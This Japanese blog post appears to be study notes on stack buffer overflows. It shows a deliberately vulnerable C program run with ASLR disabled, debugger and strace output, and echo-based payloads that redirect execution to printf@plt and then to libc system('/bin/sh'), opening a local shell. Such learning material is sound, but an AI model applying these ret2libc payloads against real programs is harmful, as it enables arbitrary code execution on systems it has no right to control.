バッファオーバーフロー入門のためにしたメモ その2

書き出し

前回の継続で勉強した内容を書き出す記事です。

azara.hatenablog.com

環境

$ cat /etc/os-release 
NAME="Ubuntu"
VERSION="14.04, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

$ uname -a
Linux nori 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ sudo sysctl -w kernel.randomize_va_space=0

$ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04.4) 4.8.4
Copyright (C) 2013 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

実験

実験コード

#include<stdio.h>
#include<string.h>

char buf[64];

int
main()
{
    char local[64];
    printf("buffer 0x%x \n",&buf);
    fgets(local,128,stdin);
    strcpy(buf,local);
    return 0;
}

観察

前回の観察で実際にバッファーから値が漏れ出すことを確認できたので、それをもう少し知識を深くしていく。

[1] 溢れ出た値の確認

先の実験でも確認していた実効アドレス(EIP)の書き換えを行うと指定したアドレスに飛んでくれるそうなのでそれを悪用していこうと思う。

アドレスを書き換えられた様子

$ python -c 'print("A"*70)' | strace -i ./ret 
[00007ffff7ad6137] execve("./ret", ["./ret"], [/* 21 vars */]) = 0
[ Process PID=16520 runs in 32 bit mode. ]
[f7ff1ee9] brk(0)                       = 0x804b000
[f7ff3a81] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
[f7ff3b53] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fda000
~~~中略~~~
[f7fdb430] fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
[f7fdb430] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fd8000
[f7fdb430] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 81
[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
[????????????????] +++ killed by SIGSEGV (core dumped) +++
Segmentation fault (コアダンプ)

実際に動かすに際し、このようなアドレスにブレークポイントを設置する。

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0804849d <+0>:  push   ebp
   0x0804849e <+1>:  mov    ebp,esp
   0x080484a0 <+3>:  and    esp,0xfffffff0
   0x080484a3 <+6>:  sub    esp,0x50
   0x080484a6 <+9>:  mov    DWORD PTR [esp+0x4],0x804a060
   0x080484ae <+17>: mov    DWORD PTR [esp],0x8048590
   0x080484b5 <+24>: call   0x8048350 <printf@plt>
   0x080484ba <+29>: mov    eax,ds:0x804a040
   0x080484bf <+34>: mov    DWORD PTR [esp+0x8],eax
   0x080484c3 <+38>: mov    DWORD PTR [esp+0x4],0x80
   0x080484cb <+46>: lea    eax,[esp+0x10]
   0x080484cf <+50>: mov    DWORD PTR [esp],eax
   0x080484d2 <+53>: call   0x8048360 <fgets@plt>
   0x080484d7 <+58>: lea    eax,[esp+0x10]
   0x080484db <+62>: mov    DWORD PTR [esp+0x4],eax
   0x080484df <+66>: mov    DWORD PTR [esp],0x804a060
   0x080484e6 <+73>: call   0x8048370 <strcpy@plt>
   0x080484eb <+78>: mov    eax,0x0
   0x080484f0 <+83>: leave  
   0x080484f1 <+84>: ret    
End of assembler dump.
gdb-peda$ b main 
Breakpoint 1 at 0x80484a0
gdb-peda$ b *main+53
Breakpoint 2 at 0x80484d2
gdb-peda$ b *main+83
Breakpoint 3 at 0x80484f0

プログラム起動直後のスタック領域としては次のようになるだろう。

0x00000000方向
低位アドレス
    +------------------+
    |buf[0x50]      | アドレスに入っていたデータ
    +------------------+
    |Saved EBP         | 0x00000000
    +------------------+
    |Return Address    | 0xf7e2caf3 in __libc_start_main () 
    +------------------+
0xffffffff方向
高位アドレス

入力をしてスタックの様子を確認しよう。 入力値として今回は'A'*70を入力

gdb-peda$ where
#0  0x080484d7 in main ()
#1  0xf7e2caf3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#2  0x080483c1 in _start ()
gdb-peda$ x/32xw $esp
0xffffd670: 0xffffd680  0x00000080  0xf7fc0c20  0xf7e462f3
0xffffd680: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd690: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6a0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6b0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6c0: 0x41414141  0x000a4141  0x00000000  0xf7e2caf3
0xffffd6d0: 0x00000001  0xffffd764  0xffffd76c  0xf7feae6a
0xffffd6e0: 0x00000001  0xffffd764  0xffffd704  0x0804a01c

確保した領域からは完全にはみ出しているが、 0x080484a0 <+3>: and esp,0xfffffff0で揃えられた領域で受け止めているのでSaved EBP とReturn Address は汚染されていない。

書き換えまでおおよそ10文字程度であると考えるのでpython -c 'print("A"*76+[address])'で任意のアドレスに飛びそうだと考えられる。

まずは実際に動くのかを確認するためにmain() の際呼び出しをしていく。

[2] アドレスの書き換え

アドレスを書き換えるために飛ばしたい先のアドレスをリトルエンディアンに変更しなければならない。

もしかするとどこかに良いツールがあったりコマンドがあるのかもしれないが、作ってしまった方が早いと思い、\x数値のような形で変換するツールを作った。

これを実際に利用してアドレスを変換しつつ、アドレスの書き換えが可能なのか確認する。

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|./ret
buffer 0x804a060 
buffer 0x804a060 
Segmentation fault (コアダンプ)

実際に2度動いた。

確認のためにstraceをかませてみよう。

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|strace -i ./ret
[00007ffff7ad6137] execve("./ret", ["./ret"], [/* 21 vars */]) = 0
[ Process PID=17009 runs in 32 bit mode. ]
[f7ff1ee9] brk(0)                       = 0x804b000
[f7ff3a81] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
[f7ff3b53] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fda000
[f7ff3a81] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
[f7ff3984] open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
[f7ff390d] fstat64(3, {st_mode=S_IFREG|0644, st_size=89006, ...}) = 0
[f7ff3b53] mmap2(NULL, 89006, PROT_READ, MAP_PRIVATE, 3, 0) = 0xfffffffff7fc4000
~~~中略~~~
[f7fdb430] write(1, "buffer 0x804a060 \n", 18buffer 0x804a060 
) = 18
[f7fdb430] fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
[f7fdb430] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fd8000
[f7fdb430] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 81
[f7fdb430] write(1, "buffer 0x804a060 \n", 18buffer 0x804a060 
) = 18
[f7fdb430] read(0, "", 4096)            = 0
[0000000a] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xa} ---
[????????????????] +++ killed by SIGSEGV (core dumped) +++
Segmentation fault (コアダンプ)

f7fdb430が2度確認できるので実際に2度動作したことがわかった。

[3] 任意の命令実行

Returnアドレスの変化を確認したので実行ファイル内に存在する命令を呼び出してみる。

はじめにPLT(Procedure Linkage Table)内部のアドレスに書き換えてみる。

  • ざっくり自分用メモ PLT : プログラムが実行する関数を一覧としてまとめたもの。

まずはobjdumpでplt内部のアドレス情報を把握する。

$ objdump -d -j .plt --no ret

ret:     ファイル形式 elf32-i386


セクション .plt の逆アセンブル:

08048340 <printf@plt-0x10>:
 8048340:  pushl  0x804a004
 8048346:  jmp    *0x804a008
 804834c:   add    %al,(%eax)
    ...

08048350 <printf@plt>:
 8048350:  jmp    *0x804a00c
 8048356:  push   $0x0
 804835b:   jmp    8048340 <_init+0x28>

08048360 <fgets@plt>:
 8048360:  jmp    *0x804a010
 8048366:  push   $0x8
 804836b:   jmp    8048340 <_init+0x28>

08048370 <strcpy@plt>:
 8048370:  jmp    *0x804a014
 8048376:  push   $0x10
 804837b:   jmp    8048340 <_init+0x28>

08048380 <__gmon_start__@plt>:
 8048380:  jmp    *0x804a018
 8048386:  push   $0x18
 804838b:   jmp    8048340 <_init+0x28>

08048390 <__libc_start_main@plt>:
 8048390:  jmp    *0x804a01c
 8048396:  push   $0x20
 804839b:   jmp    8048340 <_init+0x28>

今回はprintを実行するので、先ほどのecho -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|./retにアドレスをと必要なものを書き足していく。

関数の実行時には、引数が必要な場合があるので、それも考慮しながらアドレスを配置する。

このアドレスの配置の際、mainのret命令が擬似call命令となるため、そこを見落としてはならない。

0x00000000方向
低位アドレス
    +------------------+
    |buf[0x50]      | 0x41414141 ...
    +------------------+
    |Saved EBP         | 0x41414141
    +------------------+
    |Return Address    | 0x08048350 printf@plt : 擬似的なcall
    +------------------+
    |擬似call ret add   | 0x080484ae main
    +------------------+
    |call arg1         | 0x0804a060 変数buf
    +------------------+
    |call arg2         | ?
    +------------------+
0xffffffff方向
高位アドレス

そして実際に実行してみる。

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08\xae\x84\x04\x08\x60\xa0\x04\x08'|./ret
buffer 0x804a060 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?`?
buffer 0xffff000a 
Segmentation fault (コアダンプ)

入力した値と、bufferのアドレスが表示されたので想定通りの動きにはなっている。ここで2度目のbufferが変化していることに気づくが今回は触れないでおく。

次に実行ファイルにリンクしているlibcから命令を呼び出してみる。

実際に実行ファイル内にlibcが確認できるのでこれらを先ほどのアドレスに当てはめていく。

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e53310 <system>
gdb-peda$ p printf
$2 = {<text variable, no debug info>} 0xf7e60410 <printf>
gdb-peda$ p fgets
$3 = {<text variable, no debug info>} 0xf7e76ca0 <fgets>
gdb-peda$ p malloc
$4 = {<text variable, no debug info>} 0xf7ff1810 <malloc>

今回はシェルを立ち上げるために/bin/sh #を先頭に割り当て、systemでそれを実行する。

0x00000000方向
低位アドレス
    +------------------+
    |buf[0x50]      | 0x6e69622f 0x2068732f 0x00000a23 0x41414141 ...
    +------------------+
    |Saved EBP         | 0x41414141
    +------------------+
    |Return Address    | 0xf7e53310 <system> : 擬似的なcall
    +------------------+
    |擬似call ret add   | 0x080484ae main
    +------------------+
    |call arg1         | 0x0804a060 変数buf
    +------------------+
    |call arg2         | ?
    +------------------+
0xffffffff方向
高位アドレス

そして実際に実行してみる。

$ (echo -e '/bin/sh #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x33\xe5\xf7\xae\x84\x04\x08\x60\xa0\x04\x08'; cat)|./ret
buffer 0x804a060 
ls
gadget  gadget.c  peda-session-ret.txt  ret  ret.c  test
exit
buffer 0xffff000a 
ls
exit
Segmentation fault (コアダンプ)

シェルの起動を確認し、コマンド入力も可能なことがわかった。

今回のメモはここまで。

参考書籍/サイト

ハロー“Hello, World” OSと標準ライブラリのシゴトとしくみ

Debugging with GDB - データの検査

セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方